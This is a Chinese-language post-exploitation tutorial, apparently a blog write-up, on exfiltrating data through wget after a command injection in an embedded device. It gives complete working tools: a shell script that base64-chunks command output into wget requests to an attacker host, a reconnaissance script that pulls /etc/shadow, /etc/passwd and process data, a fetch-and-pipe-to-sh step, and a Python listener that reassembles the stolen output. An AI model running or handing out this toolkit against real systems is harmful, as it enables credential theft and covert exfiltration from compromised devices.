命令注入后渗透利用之wget信息收集
背景
前段时间挖掘到一个SXF产品的命令注入漏洞,发现设备支持wget,但是通过各种方法都无法把设备信息外传。很可能是因为嵌入式设备因flash空间有限,对很多程序进行裁剪,很多参数都不支持了。
基于这个背景,我尝试编写一个通过wget泄露信息的脚本。
设计思路
总体思路分成三个脚本实现目标功能,shell脚本W和O,python脚本wget_leck_ser.py。
shell脚本W
- 步骤1 通过参数传入要执行的命令,把命令执行结果重定向到/tmp目录下的一个临时文件
- 步骤2 读取临时文件并进行base64编码
- 步骤3 通过awk把base64编码后的字符串进行分割
- 步骤4 通过wget把分割后的字符串依次放在URI中外传
shell脚本O
- 步骤1 给脚本W增加执行权限
- 步骤2 执行一系列预置的命令,把命令传给脚本W执行
python脚本wget_leck_ser.py
- 步骤1 启动web服务
- 步骤2 把接受到的请求的URI拼接起来,直至收到FINISH信息
- 步骤3 接收到FINISH后,把拼接在一起的URI通过base64解码,并打印出来。
发现命令注入点后,首先通过wget命令,把W.sh上传到目标设备的/tmp目录下。
wget ip:port/W -O /tmp/W
接着在测试机启动wget_leck_ser.py监听信息。
python wget_leck_ser.py
最后通过wget不落地执行脚本O,获取目标信息。
wget -O - ip:port/O|sh
实现
下面是三个脚本的实现(拷贝到Windows系统,记得要dos2unix, 否则脚本无法正常执行)
shell脚本W
#!/bin/sh
REMOTE="192.168.1.2:6789"
OUTPUT_stdout="/tmp/U.stdout.output"
OUTPUT_stderr="/tmp/U.stderr.output"
WGETLEAK="wget "$REMOTE"/c="
if [ $# -eq 0 ]; then
exit
fi
wget_send() {
cmd=$WGETLEAK$1
eval $cmd
}
# CMD
wget_send `echo "#"$* | base64`
wget_send "FINISH"
# BODY
# CMD=$*"|base64|sed ':a;N;$!ba;s/\n//g'"
eval $* > $OUTPUT_stdout 2> $OUTPUT_stderr
cat $OUTPUT_stderr >> $OUTPUT_stdout
strarr=`cat $OUTPUT_stdout | base64 | awk -F "" '{
k=128
for (i=1;i<=NF;i=i+k) {
tmp="";
for (j=0;j<k&&i+j<=NF;j++)
tmp=(tmp""$(i+j));
print tmp;
}
}'`
for str in $strarr
do
wget_send $str
done
wget_send "FINISH"
rm -rf $OUTPUT_stdout $OUTPUT_stderr
shell脚本O
#!/bin/sh
chmod 777 /tmp/W
chmod +x /tmp/W
/tmp/W whoami
/tmp/W id
/tmp/W pwd
/tmp/W ls -al /
/tmp/W echo $PATH
/tmp/W ls -al /bin/
/tmp/W ls -al /sbin
/tmp/W ls -al /usr/bin/
/tmp/W ls -al /usr/sbin
/tmp/W mount
/tmp/W ps aux
/tmp/W ps -ef
/tmp/W netstat -tulnp
/tmp/W ifconfig
/tmp/W fdisk -l
/tmp/W busybox
/tmp/W file /bin/busybox
/tmp/W cat /proc/cmdline
/tmp/W cat /proc/cpuinfo
/tmp/W cat /proc/meminfo
/tmp/W cat /proc/modules
/tmp/W cat /proc/uptime
/tmp/W cat /proc/zoneinfo
/tmp/W iptables -L
/tmp/W cat /etc/passwd
/tmp/W cat /etc/shadow
/tmp/W cat /etc/fstab
/tmp/W cat /etc/rc.local
for dir in `ls /`
do
if [ "$dir" == "proc" ];then
echo ""
elif [ "$dir" == "sys" ];then
echo ""
else
/tmp/W ls -Ra "/"$dir
fi
done
echo "### Start ###" > /tmp/procinfo.tmp
for dir in `ls /proc`
do
echo "" >> /tmp/procinfo.tmp
echo "++++++ check /proc/"$dir >> /tmp/procinfo.tmp
ls -al "/proc/"$dir"/exe" >> /tmp/procinfo.tmp
cat "/proc/"$dir"/cmdline" >> /tmp/procinfo.tmp
done
/tmp/W cat /tmp/procinfo.tmp
rm /tmp/procinfo.tmp
python脚本wget_leck_ser.py
from http.server import BaseHTTPRequestHandler,HTTPServer
import base64
import os
glo_content = ''
glo_filename = ''
class handler(BaseHTTPRequestHandler):
def _set_headers(self):
self.send_response(404)
self.send_header('Content-type', 'text/html')
self.end_headers()
def log_message(self, argv1, argv2, argv3, argv4):
pass
def do_GET(self):
global glo_content
global glo_filename
self._set_headers()
recv = self.path.split('c=')[1]
if recv == 'FINISH':
try:
content = base64.b64decode(glo_content).decode(errors='ignore')
if content[0] == '#':
content = '\n' + content
print(content)
with open(glo_filename, 'a+') as fp:
fp.write(content)
except Exception as exp:
print(exp)
print("[ERROR] Base64 decode error.")
glo_content=''
else:
glo_content += recv
self.wfile.write("".encode())
def run(server_class=HTTPServer, handler_class=handler, port=6789):
global glo_filename
filecnt = 1
while True:
glo_filename = "targetInfo_" + str(filecnt).zfill(3) + '.txt'
if os.path.exists(glo_filename) is True:
filecnt += 1
else:
break
httpd = server_class(('0.0.0.0', port), handler_class)
print('Server running at 0.0.0.0:%d...' % port)
httpd.serve_forever()
run()